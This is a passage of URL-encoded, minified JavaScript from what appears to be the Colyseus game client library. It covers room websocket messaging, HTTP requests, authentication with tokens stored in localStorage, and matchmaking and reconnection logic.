.prototype.connect%3Dfunction(e%2Cn%2Cr)%7Bvoid%200%3D%3D%3Dr%26%26(r%3Dthis)%3Bvar%20i%3Dnew%20_%3Br.connection%3Di%2Ci.events.onmessage%3Dt.prototype.onMessageCallback.bind(r)%2Ci.events.onclose%3Dfunction(e)%7Bvar%20t%3Bif(!r.hasJoined)return%20null%3D%3D%3D(t%3Dconsole.warn)%7C%7Cvoid%200%3D%3D%3Dt%7C%7Ct.call(console%2C%22Room%20connection%20was%20closed%20unexpectedly%20(%22.concat(e.code%2C%22)%3A%20%22).concat(e.reason))%2Cvoid%20r.onError.invoke(e.code%2Ce.reason)%3Be.code%3D%3D%3Do.DEVMODE_RESTART%26%26n%3Fn()%3A(r.onLeave.invoke(e.code)%2Cr.destroy())%7D%2Ci.events.onerror%3Dfunction(e)%7Bvar%20t%3Bnull%3D%3D%3D(t%3Dconsole.warn)%7C%7Cvoid%200%3D%3D%3Dt%7C%7Ct.call(console%2C%22Room%2C%20onError%20(%22.concat(e.code%2C%22)%3A%20%22).concat(e.reason))%2Cr.onError.invoke(e.code%2Ce.reason)%7D%2Ci.connect(e)%7D%2Ct.prototype.leave%3Dfunction(t)%7Bvar%20n%3Dthis%3Breturn%20void%200%3D%3D%3Dt%26%26(t%3D!0)%2Cnew%20Promise((function(r)%7Bn.onLeave((function(e)%7Breturn%20r(e)%7D))%2Cn.connection%3Ft%3Fn.connection.send(%5Be.Protocol.LEAVE_ROOM%5D)%3An.connection.close()%3An.onLeave.invoke(o.CONSENTED)%7D))%7D%2Ct.prototype.onMessage%3Dfunction(e%2Ct)%7Breturn%20this.onMessageHandlers.on(this.getMessageHandlerKey(e)%2Ct)%7D%2Ct.prototype.send%3Dfunction(t%2Cn)%7Bvar%20r%2Co%3D%5Be.Protocol.ROOM_DATA%5D%3Bif(%22string%22%3D%3Dtypeof%20t%3FM.encode.string(o%2Ct)%3AM.encode.number(o%2Ct)%2Cvoid%200!%3D%3Dn)%7Bvar%20i%3Dv(n)%3B(r%3Dnew%20Uint8Array(o.length%2Bi.byteLength)).set(new%20Uint8Array(o)%2C0)%2Cr.set(new%20Uint8Array(i)%2Co.length)%7Delse%20r%3Dnew%20Uint8Array(o)%3Bthis.connection.send(r.buffer)%7D%2Ct.prototype.sendBytes%3Dfunction(t%2Cn)%7Bvar%20r%2Co%3D%5Be.Protocol.ROOM_DATA_BYTES%5D%3B%22string%22%3D%3Dtypeof%20t%3FM.encode.string(o%2Ct)%3AM.encode.number(o%2Ct)%2C(r%3Dnew%20Uint8Array(o.length%2B(n.byteLength%7C%7Cn.length))).set(new%20Uint8Array(o)%2C0)%2Cr.set(new%20Uint8Array(n)%2Co.length)%2Cthis.connection.send(r.buffer)%7D%2CObject.defineProperty(t.prototype%2C%22state%22%2C%7Bget%3Afunction()%7Breturn%20this.serializer.getState()%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ct.prototype.removeAllListeners%3Dfunction()%7Bthis.onJoin.clear()%2Cthis.onStateChange.clear()%2Cthis.onError.clear()%2Cthis.onLeave.clear()%2Cthis.onMessageHandlers.events%3D%7B%7D%7D%2Ct.prototype.onMessageCallback%3Dfunction(t)%7Bvar%20n%3DArray.from(new%20Uint8Array(t.data))%2Cr%3Dn%5B0%5D%3Bif(r%3D%3D%3De.Protocol.JOIN_ROOM)%7Bvar%20o%3D1%2Ci%3DA(n%2Co)%3Bif(o%2B%3DO(i)%2Cthis.serializerId%3DA(n%2Co)%2Co%2B%3DO(this.serializerId)%2C!this.serializer)%7Bvar%20s%3DT(this.serializerId)%3Bthis.serializer%3Dnew%20s%7Dn.length%3Eo%26%26this.serializer.handshake%26%26this.serializer.handshake(n%2C%7Boffset%3Ao%7D)%2Cthis.reconnectionToken%3D%22%22.concat(this.roomId%2C%22%3A%22).concat(i)%2Cthis.hasJoined%3D!0%2Cthis.onJoin.invoke()%2Cthis.connection.send(%5Be.Protocol.JOIN_ROOM%5D)%7Delse%20if(r%3D%3D%3De.Protocol.ERROR)%7Bvar%20a%3D%7Boffset%3A1%7D%2Cc%3DM.decode.number(n%2Ca)%2Cl%3DM.decode.string(n%2Ca)%3Bthis.onError.invoke(c%2Cl)%7Delse%20if(r%3D%3D%3De.Protocol.LEAVE_ROOM)this.leave()%3Belse%20if(r%3D%3D%3De.Protocol.ROOM_DATA_SCHEMA)%7Bvar%20u%3D%7Boffset%3A1%7D%3B(l%3Dnew(d%3Dthis.serializer.getState().constructor._context.get(M.decode.number(n%2Cu)))).decode(n%2Cu)%2Cthis.dispatchMessage(d%2Cl)%7Delse%20if(r%3D%3D%3De.Protocol.ROOM_STATE)n.shift()%2Cthis.setState(n)%3Belse%20if(r%3D%3D%3De.Protocol.ROOM_STATE_PATCH)n.shift()%2Cthis.patch(n)%3Belse%20if(r%3D%3D%3De.Protocol.ROOM_DATA)%7Bvar%20f%3D%7Boffset%3A1%7D%2Cd%3DM.decode.stringCheck(n%2Cf)%3FM.decode.string(n%2Cf)%3AM.decode.number(n%2Cf)%3Bl%3Dn.length%3Ef.offset%3Fh(t.data%2Cf.offset)%3Avoid%200%2Cthis.dispatchMessage(d%2Cl)%7Delse%20if(r%3D%3D%3De.Protocol.ROOM_DATA_BYTES)%7Bvar%20p%3D%7Boffset%3A1%7D%3Bd%3DM.decode.stringCheck(n%2Cp)%3FM.decode.string(n%2Cp)%3AM.decode.number(n%2Cp)%2Cthis.dispatchMessage(d%2Cnew%20Uint8Array(n.slice(p.offset)))%7D%7D%2Ct.prototype.setState%3Dfunction(e)%7Bthis.serializer.setState(e)%2Cthis.onStateChange.invoke(this.serializer.getState())%7D%2Ct.prototype.patch%3Dfunction(e)%7Bthis.serializer.patch(e)%2Cthis.onStateChange.invoke(this.serializer.getState())%7D%2Ct.prototype.dispatchMessage%3Dfunction(e%2Ct)%7Bvar%20n%2Cr%3Dthis.getMessageHandlerKey(e)%3Bthis.onMessageHandlers.events%5Br%5D%3Fthis.onMessageHandlers.emit(r%2Ct)%3Athis.onMessageHandlers.events%5B%22*%22%5D%3Fthis.onMessageHandlers.emit(%22*%22%2Ce%2Ct)%3Anull%3D%3D%3D(n%3Dconsole.warn)%7C%7Cvoid%200%3D%3D%3Dn%7C%7Cn.call(console%2C%22colyseus.js%3A%20onMessage()%20not%20registered%20for%20type%20'%22.concat(e%2C%22'.%22))%7D%2Ct.prototype.destroy%3Dfunction()%7Bthis.serializer%26%26this.serializer.teardown()%7D%2Ct.prototype.getMessageHandlerKey%3Dfunction(e)%7Bswitch(typeof%20e)%7Bcase%22function%22%3Areturn%22%24%22.concat(e._typeid)%3Bcase%22string%22%3Areturn%20e%3Bcase%22number%22%3Areturn%22i%22.concat(e)%3Bdefault%3Athrow%20new%20Error(%22invalid%20message%20type.%22)%7D%7D%2Ct%7D()%3Bfunction%20D(e%2Ct)%7Bt.statusMessage%3De.statusText%2Ct.statusCode%3De.status%2Ct.data%3De.body%7Dfunction%20L(e%2Ct%2Cn)%7Bvar%20r%2Co%2Ci%3D(n%3Dn%7C%7C%7B%7D).body%3Breturn%20n.method%3De%2Cn.headers%3Dn.headers%7C%7C%7B%7D%2Ci%20instanceof%20FormData%7C%7Ci%26%26%22object%22%3D%3Dtypeof%20i%26%26(n.headers%5B%22content-type%22%5D%3D%22application%2Fjson%22%2Cn.body%3DJSON.stringify(i))%2Cn.withCredentials%26%26(n.credentials%3D%22include%22)%2Cn.timeout%26%26(o%3Dnew%20AbortController%2Cn.signal%3Do.signal%2Cr%3DsetTimeout(o.abort%2Cn.timeout))%2Cnew%20Promise(((e%2Cs)%3D%3E%7Bfetch(t%2Cn).then(((t%2Co)%3D%3E%7BclearTimeout(r)%2CD(t%2Ct)%2Co%3Dt.status%3E%3D400%3Fs%3Ae%2C(i%3Dt.headers.get(%22content-type%22))%26%26~i.indexOf(%22application%2Fjson%22)%3Ft.text().then((e%3D%3E%7Btry%7Bt.data%3DJSON.parse(e%2Cn.reviver)%2Co(t)%7Dcatch(e)%7Be.headers%3Dt.headers%2CD(t%2Ce)%2Cs(e)%7D%7D))%3Ao(t)%7D)).catch((e%3D%3E%7Be.timeout%3Do%26%26o.signal.aborted%2Cs(e)%7D))%7D))%7Dvar%20q%2CU%2Cj%2CB%2CH%2Cz%3DL.bind(L%2C%22GET%22)%2CV%3DL.bind(L%2C%22POST%22)%2CF%3DL.bind(L%2C%22PATCH%22)%2CW%3DL.bind(L%2C%22DELETE%22)%2CJ%3DL.bind(L%2C%22PUT%22)%2CG%3D%7Bdel%3AW%2Cget%3Az%2Cpatch%3AF%2Cpost%3AV%2Cput%3AJ%2Csend%3AL%7D%2CK%3Dt(%7B__proto__%3Anull%2Cdefault%3AG%2Cdel%3AW%2Cget%3Az%2Cpatch%3AF%2Cpost%3AV%2Cput%3AJ%2Csend%3AL%7D%2C%5BG%5D)%2CQ%3Dfunction()%7Bfunction%20e(e)%7Bthis.client%3De%7Dreturn%20e.prototype.get%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cthis.request(%22get%22%2Ce%2Ct)%7D%2Ce.prototype.post%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cthis.request(%22post%22%2Ce%2Ct)%7D%2Ce.prototype.del%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cthis.request(%22del%22%2Ce%2Ct)%7D%2Ce.prototype.put%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cthis.request(%22put%22%2Ce%2Ct)%7D%2Ce.prototype.request%3Dfunction(e%2Ct%2Cn)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D%7B%7D)%2CK%5Be%5D(this.client.getHttpEndpoint(t)%2Cthis.getOptions(n)).catch((function(e)%7Bvar%20t%3Bthrow%20new%20u(e.statusCode%7C%7C-1%2C(null%3D%3D%3D(t%3De.data)%7C%7Cvoid%200%3D%3D%3Dt%3Fvoid%200%3At.error)%7C%7Ce.statusMessage%7C%7Ce.message%7C%7C%22offline%22)%7D))%7D%2Ce.prototype.getOptions%3Dfunction(e)%7Breturn%20this.authToken%26%26(e.headers%7C%7C(e.headers%3D%7B%7D)%2Ce.headers.Authorization%3D%22Bearer%20%22.concat(this.authToken)%2Ce.withCredentials%3D!0)%2Ce%7D%2Ce%7D()%3Bfunction%20X()%7Breturn%20q%7C%7C(q%3D%22undefined%22!%3Dtypeof%20cc%26%26cc.sys%26%26cc.sys.localStorage%3Fcc.sys.localStorage%3A%22undefined%22!%3Dtypeof%20window%26%26window.localStorage%3Fwindow.localStorage%3A%7Bcache%3A%7B%7D%2CsetItem%3Afunction(e%2Ct)%7Bthis.cache%5Be%5D%3Dt%7D%2CgetItem%3Afunction(e)%7Bthis.cache%5Be%5D%7D%2CremoveItem%3Afunction(e)%7Bdelete%20this.cache%5Be%5D%7D%7D)%2Cq%7Dfunction%20Y(e%2Ct)%7BX().setItem(e%2Ct)%7Dfunction%20Z(e)%7BX().removeItem(e)%7Dfunction%20ee(e%2Ct)%7Bvar%20n%3DX().getItem(e)%3B%22undefined%22!%3Dtypeof%20Promise%26%26n%20instanceof%20Promise%3Fn.then((function(e)%7Breturn%20t(e)%7D))%3At(n)%7Dvar%20te%2Cne%3Dfunction()%7Bfunction%20e(e)%7Bvar%20t%3Dthis%3Bthis.http%3De%2Cthis.settings%3D%7Bpath%3A%22%2Fauth%22%2Ckey%3A%22colyseus-auth-token%22%7D%2CU.set(this%2C!1)%2Cj.set(this%2Cvoid%200)%2CB.set(this%2Cvoid%200)%2CH.set(this%2CC())%2Cee(this.settings.key%2C(function(e)%7Breturn%20t.token%3De%7D))%7Dreturn%20Object.defineProperty(e.prototype%2C%22token%22%2C%7Bget%3Afunction()%7Breturn%20this.http.authToken%7D%2Cset%3Afunction(e)%7Bthis.http.authToken%3De%7D%2Cenumerable%3A!1%2Cconfigurable%3A!0%7D)%2Ce.prototype.onChange%3Dfunction(e)%7Bvar%20t%3Dthis%2Cn%3Dc(this%2CH%2C%22f%22).on(%22change%22%2Ce)%3Breturn%20c(this%2CU%2C%22f%22)%7C%7Cl(this%2Cj%2Cnew%20Promise((function(e%2Cn)%7Bt.getUserData().then((function(e)%7Bt.emitChange(i(i(%7B%7D%2Ce)%2C%7Btoken%3At.token%7D))%7D)).catch((function(e)%7Bt.emitChange(%7Buser%3Anull%2Ctoken%3Avoid%200%7D)%7D)).finally((function()%7Be()%7D))%7D))%2C%22f%22)%2Cl(this%2CU%2C!0%2C%22f%22)%2Cn%7D%2Ce.prototype.getUserData%3Dfunction()%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(e)%7Bswitch(e.label)%7Bcase%200%3Areturn%20this.token%3F%5B4%2Cthis.http.get(%22%22.concat(this.settings.path%2C%22%2Fuserdata%22))%5D%3A%5B3%2C2%5D%3Bcase%201%3Areturn%5B2%2Ce.sent().data%5D%3Bcase%202%3Athrow%20new%20Error(%22missing%20auth.token%22)%7D%7D))%7D))%7D%2Ce.prototype.registerWithEmailAndPassword%3Dfunction(e%2Ct%2Cn)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20r%3Breturn%20a(this%2C(function(o)%7Bswitch(o.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.post(%22%22.concat(this.settings.path%2C%22%2Fregister%22)%2C%7Bbody%3A%7Bemail%3Ae%2Cpassword%3At%2Coptions%3An%7D%7D)%5D%3Bcase%201%3Areturn%20r%3Do.sent().data%2Cthis.emitChange(r)%2C%5B2%2Cr%5D%7D%7D))%7D))%7D%2Ce.prototype.signInWithEmailAndPassword%3Dfunction(e%2Ct)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20n%3Breturn%20a(this%2C(function(r)%7Bswitch(r.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.post(%22%22.concat(this.settings.path%2C%22%2Flogin%22)%2C%7Bbody%3A%7Bemail%3Ae%2Cpassword%3At%7D%7D)%5D%3Bcase%201%3Areturn%20n%3Dr.sent().data%2Cthis.emitChange(n)%2C%5B2%2Cn%5D%7D%7D))%7D))%7D%2Ce.prototype.signInAnonymously%3Dfunction(e)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20t%3Breturn%20a(this%2C(function(n)%7Bswitch(n.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.post(%22%22.concat(this.settings.path%2C%22%2Fanonymous%22)%2C%7Bbody%3A%7Boptions%3Ae%7D%7D)%5D%3Bcase%201%3Areturn%20t%3Dn.sent().data%2Cthis.emitChange(t)%2C%5B2%2Ct%5D%7D%7D))%7D))%7D%2Ce.prototype.sendPasswordResetEmail%3Dfunction(e)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(t)%7Bswitch(t.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.post(%22%22.concat(this.settings.path%2C%22%2Fforgot-password%22)%2C%7Bbody%3A%7Bemail%3Ae%7D%7D)%5D%3Bcase%201%3Areturn%5B2%2Ct.sent().data%5D%7D%7D))%7D))%7D%2Ce.prototype.signInWithProvider%3Dfunction(e%2Ct)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20n%3Dthis%3Breturn%20a(this%2C(function(r)%7Breturn%5B2%2Cnew%20Promise((function(r%2Co)%7Bvar%20i%3Dt.width%7C%7C480%2Cs%3Dt.height%7C%7C768%2Ca%3Dn.token%3F%22%3Ftoken%3D%22.concat(n.token)%3A%22%22%2Cu%3D%22Login%20with%20%22.concat(e%5B0%5D.toUpperCase()%2Be.substring(1))%2Cf%3Dn.http.client.getHttpEndpoint(%22%22.concat(t.prefix%7C%7C%22%22.concat(n.settings.path%2C%22%2Fprovider%22)%2C%22%2F%22).concat(e).concat(a))%2Cd%3Dscreen.width%2F2-i%2F2%2Ch%3Dscreen.height%2F2-s%2F2%3Bl(n%2CB%2Cwindow.open(f%2Cu%2C%22toolbar%3Dno%2C%20location%3Dno%2C%20directories%3Dno%2C%20status%3Dno%2C%20menubar%3Dno%2C%20scrollbars%3Dno%2C%20resizable%3Dno%2C%20copyhistory%3Dno%2C%20width%3D%22%2Bi%2B%22%2C%20height%3D%22%2Bs%2B%22%2C%20top%3D%22%2Bh%2B%22%2C%20left%3D%22%2Bd)%2C%22f%22)%3Bvar%20p%3Dfunction(e)%7Bvoid%200%3D%3D%3De.data.user%26%26void%200%3D%3D%3De.data.token%7C%7C(clearInterval(g)%2Cc(n%2CB%2C%22f%22).close()%2Cl(n%2CB%2Cvoid%200%2C%22f%22)%2Cwindow.removeEventListener(%22message%22%2Cp)%2Cvoid%200!%3D%3De.data.error%3Fo(e.data.error)%3A(r(e.data)%2Cn.emitChange(e.data)))%7D%2Cg%3DsetInterval((function()%7Bc(n%2CB%2C%22f%22)%26%26!c(n%2CB%2C%22f%22).closed%7C%7C(l(n%2CB%2Cvoid%200%2C%22f%22)%2Co(%22cancelled%22)%2Cwindow.removeEventListener(%22message%22%2Cp))%7D)%2C200)%3Bwindow.addEventListener(%22message%22%2Cp)%7D))%5D%7D))%7D))%7D%2Ce.prototype.signOut%3Dfunction()%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(e)%7Breturn%20this.emitChange(%7Buser%3Anull%2Ctoken%3Anull%7D)%2C%5B2%5D%7D))%7D))%7D%2Ce.prototype.emitChange%3Dfunction(e)%7Bvoid%200!%3D%3De.token%26%26(this.token%3De.token%2Cnull%3D%3D%3De.token%3FZ(this.settings.key)%3AY(this.settings.key%2Ce.token))%2Cc(this%2CH%2C%22f%22).emit(%22change%22%2Ce)%7D%2Ce%7D()%3BU%3Dnew%20WeakMap%2Cj%3Dnew%20WeakMap%2CB%3Dnew%20WeakMap%2CH%3Dnew%20WeakMap%3Bvar%20re%3Dfunction(e)%7Bfunction%20t(n%2Cr)%7Bvar%20o%3De.call(this%2Cn)%7C%7Cthis%3Breturn%20o.code%3Dr%2CObject.setPrototypeOf(o%2Ct.prototype)%2Co%7Dreturn%20r(t%2Ce)%2Ct%7D(Error)%2Coe%3D%22undefined%22!%3Dtypeof%20window%26%26void%200!%3D%3D(null%3D%3D%3D(te%3Dnull%3D%3D%3Dwindow%7C%7Cvoid%200%3D%3D%3Dwindow%3Fvoid%200%3Awindow.location)%7C%7Cvoid%200%3D%3D%3Dte%3Fvoid%200%3Ate.hostname)%3F%22%22.concat(window.location.protocol.replace(%22http%22%2C%22ws%22)%2C%22%2F%2F%22).concat(window.location.hostname).concat(window.location.port%26%26%22%3A%22.concat(window.location.port))%3A%22ws%3A%2F%2F127.0.0.1%3A2567%22%2Cie%3Dfunction()%7Bfunction%20e(e)%7Bif(void%200%3D%3D%3De%26%26(e%3Doe)%2C%22string%22%3D%3Dtypeof%20e)%7Bvar%20t%3Dnew%20URL(e)%2Cn%3D%22https%3A%22%3D%3D%3Dt.protocol%7C%7C%22wss%3A%22%3D%3D%3Dt.protocol%2Cr%3DNumber(t.port%7C%7C(n%3F443%3A80))%3Bthis.settings%3D%7Bhostname%3At.hostname%2Cpathname%3At.pathname%2Cport%3Ar%2Csecure%3An%7D%7Delse%20void%200%3D%3D%3De.port%26%26(e.port%3De.secure%3F443%3A80)%2Cvoid%200%3D%3D%3De.pathname%26%26(e.pathname%3D%22%22)%2Cthis.settings%3De%3Bthis.settings.pathname.endsWith(%22%2F%22)%26%26(this.settings.pathname%3Dthis.settings.pathname.slice(0%2C-1))%2Cthis.http%3Dnew%20Q(this)%2Cthis.auth%3Dnew%20ne(this.http)%7Dreturn%20e.prototype.joinOrCreate%3Dfunction(e%2Ct%2Cn)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(r)%7Bswitch(r.label)%7Bcase%200%3Areturn%5B4%2Cthis.createMatchMakeRequest(%22joinOrCreate%22%2Ce%2Ct%2Cn)%5D%3Bcase%201%3Areturn%5B2%2Cr.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.create%3Dfunction(e%2Ct%2Cn)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(r)%7Bswitch(r.label)%7Bcase%200%3Areturn%5B4%2Cthis.createMatchMakeRequest(%22create%22%2Ce%2Ct%2Cn)%5D%3Bcase%201%3Areturn%5B2%2Cr.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.join%3Dfunction(e%2Ct%2Cn)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(r)%7Bswitch(r.label)%7Bcase%200%3Areturn%5B4%2Cthis.createMatchMakeRequest(%22join%22%2Ce%2Ct%2Cn)%5D%3Bcase%201%3Areturn%5B2%2Cr.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.joinById%3Dfunction(e%2Ct%2Cn)%7Breturn%20void%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(r)%7Bswitch(r.label)%7Bcase%200%3Areturn%5B4%2Cthis.createMatchMakeRequest(%22joinById%22%2Ce%2Ct%2Cn)%5D%3Bcase%201%3Areturn%5B2%2Cr.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.reconnect%3Dfunction(e%2Ct)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20n%2Cr%2Co%3Breturn%20a(this%2C(function(i)%7Bswitch(i.label)%7Bcase%200%3Aif(%22string%22%3D%3Dtypeof%20e%26%26%22string%22%3D%3Dtypeof%20t)throw%20new%20Error(%22DEPRECATED%3A%20.reconnect()%20now%20only%20accepts%20'reconnectionToken'%20as%20argument.%5CnYou%20can%20get%20this%20token%20from%20previously%20connected%20%60room.reconnectionToken%60%22)%3Bif(n%3De.split(%22%3A%22)%2Cr%3Dn%5B0%5D%2Co%3Dn%5B1%5D%2C!r%7C%7C!o)throw%20new%20Error(%22Invalid%20reconnection%20token%20format.%5CnThe%20format%20should%20be%20roomId%3AreconnectionToken%22)%3Breturn%5B4%2Cthis.createMatchMakeRequest(%22reconnect%22%2Cr%2C%7BreconnectionToken%3Ao%7D%2Ct)%5D%3Bcase%201%3Areturn%5B2%2Ci.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.getAvailableRooms%3Dfunction(e)%7Breturn%20void%200%3D%3D%3De%26%26(e%3D%22%22)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(t)%7Bswitch(t.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.get(%22matchmake%2F%22.concat(e)%2C%7Bheaders%3A%7BAccept%3A%22application%2Fjson%22%7D%7D)%5D%3Bcase%201%3Areturn%5B2%2Ct.sent().data%5D%7D%7D))%7D))%7D%2Ce.prototype.consumeSeatReservation%3Dfunction(e%2Ct%2Cn)%7Breturn%20s(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20r%2Co%2Ci%2Cc%3Dthis%3Breturn%20a(this%2C(function(l)%7Breturn(r%3Dthis.createRoom(e.room.name%2Ct)).roomId%3De.room.roomId%2Cr.sessionId%3De.sessionId%2Co%3D%7BsessionId%3Ar.sessionId%7D%2Ce.reconnectionToken%26%26(o.reconnectionToken%3De.reconnectionToken)%2Ci%3Dn%7C%7Cr%2Cr.connect(this.buildEndpoint(e.room%2Co)%2Ce.devMode%26%26function()%7Breturn%20s(c%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20n%2Co%2Cc%2Cl%3Dthis%3Breturn%20a(this%2C(function(u)%7Breturn%20console.info(%22%5BColyseus%20devMode%5D%3A%20%22.concat(String.fromCodePoint(128260)%2C%22%20Re-establishing%20connection%20with%20room%20id%20'%22).concat(r.roomId%2C%22'...%22))%2Cn%3D0%2Co%3D8%2Cc%3Dfunction()%7Breturn%20s(l%2Cvoid%200%2Cvoid%200%2C(function()%7Breturn%20a(this%2C(function(s)%7Bswitch(s.label)%7Bcase%200%3An%2B%2B%2Cs.label%3D1%3Bcase%201%3Areturn%20s.trys.push(%5B1%2C3%2C%2C4%5D)%2C%5B4%2Cthis.consumeSeatReservation(e%2Ct%2Ci)%5D%3Bcase%202%3Areturn%20s.sent()%2Cconsole.info(%22%5BColyseus%20devMode%5D%3A%20%22.concat(String.fromCodePoint(9989)%2C%22%20Successfully%20re-established%20connection%20with%20room%20'%22).concat(r.roomId%2C%22'%22))%2C%5B3%2C4%5D%3Bcase%203%3Areturn%20s.sent()%2Cn%3Co%3F(console.info(%22%5BColyseus%20devMode%5D%3A%20%22.concat(String.fromCodePoint(128260)%2C%22%20retrying...%20(%22).concat(n%2C%22%20out%20of%20%22).concat(o%2C%22)%22))%2CsetTimeout(c%2C2e3))%3Aconsole.info(%22%5BColyseus%20devMode%5D%3A%20%22.concat(String.fromCodePoint(10060)%2C%22%20Failed%20to%20reconnect.%20Is%20your%20server%20running%3F%20Please%20check%20server%20logs.%22))%2C%5B3%2C4%5D%3Bcase%204%3Areturn%5B2%5D%7D%7D))%7D))%7D%2CsetTimeout(c%2C2e3)%2C%5B2%5D%7D))%7D))%7D%2Ci)%2C%5B2%2Cnew%20Promise((function(e%2Ct)%7Bvar%20n%3Dfunction(e%2Cn)%7Breturn%20t(new%20u(e%2Cn))%7D%3Bi.onError.once(n)%2Ci.onJoin.once((function()%7Bi.onError.remove(n)%2Ce(i)%7D))%7D))%5D%7D))%7D))%7D%2Ce.prototype.createMatchMakeRequest%3Dfunction(e%2Ct%2Cn%2Cr%2Co)%7Breturn%20void%200%3D%3D%3Dn%26%26(n%3D%7B%7D)%2Cs(this%2Cvoid%200%2Cvoid%200%2C(function()%7Bvar%20i%3Breturn%20a(this%2C(function(s)%7Bswitch(s.label)%7Bcase%200%3Areturn%5B4%2Cthis.http.post(%22matchmake%2F%22.concat(e%2C%22%2F%22).concat(t)%2C%7Bheaders%3A%7BAccept%3A%22application%2Fjson%22%2C%22Content-Type%22%3A%22application%2Fjson%22%7D%2Cbody%3AJSON.stringify(n)%7D)%5D%3Bcase%201%3Aif((i%3Ds.sent().data).error)throw%20new%20re(i.error%2Ci.code)%3Breturn%22reconnect%22%3D%3D%3De%26%26(i.reconnectionToken%3Dn.reconnectionToken)%2C%5B4%2Cthis.consumeSeatReservation(i%2Cr%2Co)%5D%3Bcase%202%3Areturn%5B2%2Cs.sent()%5D%7D%7D))%7D))%7D%2Ce.prototype.createRoom%3Dfunction(e%2Ct)%7Breturn%20new%20N(e%2Ct)%7D%2Ce.prototype.buildEndpoint%3Dfunction(e%2Ct)%7Bvoid%200%3D%3D%3Dt%26%26(t%3D%7B%7D)%3Bvar%20n%3D%5B%5D%3Bfor(var%20r%20in%20t)t.hasOwnProperty(r)%26%26n.push(%22%22.concat(r%2C%22%3D%22).concat(t%5Br%5D))%3Bvar%20o%3Dthis.settings.secure%3F%22wss%3A%2F%2F%22%3A%22ws%3A%2F%2F%22%3Breturn%20e.publicAddress%3Fo%2B%3D%22%22.concat(e.publicAddress)%3Ao%2B%3D%22%22.concat(this.settings.hostname).concat(this.getEndpointPort()).concat(this.settings.pathname)%2C%22%22.concat(o%2C%22%2F%22).concat(e.processId%2C%22%2F%22).concat(e.roomId%2C%22%3F%22).concat(n.join(%22%26%22))%7D%2Ce.prototype.getHttpEndpoint%3Dfunction(e)%7Bvoid%200%3D%3D%3De%26%26(e%3D%22%22)%3Bvar%20t%3De.startsWith(%22%2F%22)%3Fe%3A%22%2F%22.concat(e)%3Breturn%22%22.concat(this.settings.secure%3F%22https%22%3A%22http%22%2C%22%3A%2F%2F%22).concat(this.settings.hostname).concat(this.getEndpointPort()).concat(this.settings.pathname).concat(t)%7D%2Ce.prototype.getEndpointPort%3Dfunction()%7Breturn%2080!%3D%3Dthis.settings.port%26%26443!%3D%3Dthis.settings.port%3F%22%3A%22.concat(this.settings.port)%3A%22%22%7D%2Ce%7D()%2Cse%3Dfunction()%7Bfunction%20e()%7B%7Dreturn%20e.prototype.setState%3Dfunction(e)%7Breturn%20this.state.decode(e)%7D%2Ce.prototype.getState%3Dfunction()%7Breturn%20this.state%7D%2Ce.prototype.patch%3Dfunction(e)%7Breturn%20this.state.decode(e)%7D%2Ce.prototype.teardown%3Dfunction()%7Bvar%20e%2Ct%3Bnull%3D%3D%3D(t%3Dnull%3D%3D%3D(e%3Dthis.state)%7C%7Cvoid%200%3D%3D%3De%3Fvoid%200%3Ae.%24changes)%7C%7Cvoid%200%3D%3D%3Dt%7C%7Ct.root.clearRefs()%7D%2Ce.prototype.handshake%3Dfunction(e%2Ct)%7Bthis.state%3F(new%20M.Reflection).decode(e%2Ct)%3Athis.state%3DM.Reflection.decode(e%2Ct)%7D%2Ce%7D()%2Cae%3Dfunction()%7Bfunction%20e()%7B%7Dreturn%20e.prototype.setState%3Dfunction(e)%7B%7D%2Ce.prototype.getState%3Dfunction()%7Breturn%20null%7D%2Ce.prototype.patch%3Dfunction(e)%7B%7D%2Ce.prototype.teardown%3Dfunction()%7B%7D%2Ce.prototype.handshake%3Dfunction(e)%7B%7D%2Ce%7D()%3Bk(%22schema%22%2Cse)%2Ck(%22none%22%2Cae)%2Ce.Auth%3Dne%2Ce.Client%3Die%2Ce.Room%3DN%2Ce.SchemaSeria